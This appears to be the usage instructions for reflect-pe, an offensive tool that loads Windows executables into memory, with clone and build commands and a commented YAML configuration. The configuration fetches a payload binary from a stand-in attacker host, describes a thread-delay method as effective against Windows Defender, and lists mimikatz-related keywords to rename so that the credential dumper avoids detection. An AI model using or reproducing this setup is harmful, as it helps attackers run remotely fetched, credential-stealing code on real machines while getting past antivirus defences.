git clone https://github.com/ayoul3/reflect-pe
cd reflect-pe
go build -v .

reflect-pe.exe
reflect-pe.exe config_mimi.yml
reflect-pe.exe http://www.evilsite.com/config.yml

# BinaryPath can either be an HTTP url, a relative path or an absolute path.

BinaryPath: 'http://www.yourevildomain.com/file.exe'

# ReflectArgs is a string containing the arguments passed to your binary when executed in memory.

# For Unmanaged PE: First argument is the program's name. This parameter can be empty

# For managed PE: First argument is the real first argument

ReflectArgs: 'arg0 arg1 arg2'

# 3 options to load an unmanaged executable in memory:
# Wait: will call CreateThread, then wait 15 to 30 seconds before resuming the threat. This proved very effective against Windows Defender.

# <empty>: We do not wait between thread creation and execution

# Function: We overwrite the address of a Go method with the executable's entry point


ReflectMethod:  # wait, function or empty

# CLR runtime version. If the version specified is not found, the latest one will be taken. If it's empty it defaults to v2.  

CLRRuntime: v4

# 0: no logs, 1: Info logs, 2: Debug
LogLevel: 2

# Keywords to be replaced by a random shuffle. Both utf8 and unicode versions are replaced.

Keywords:
  - mimikatz
  - delpy
  - benjamin
  - delpy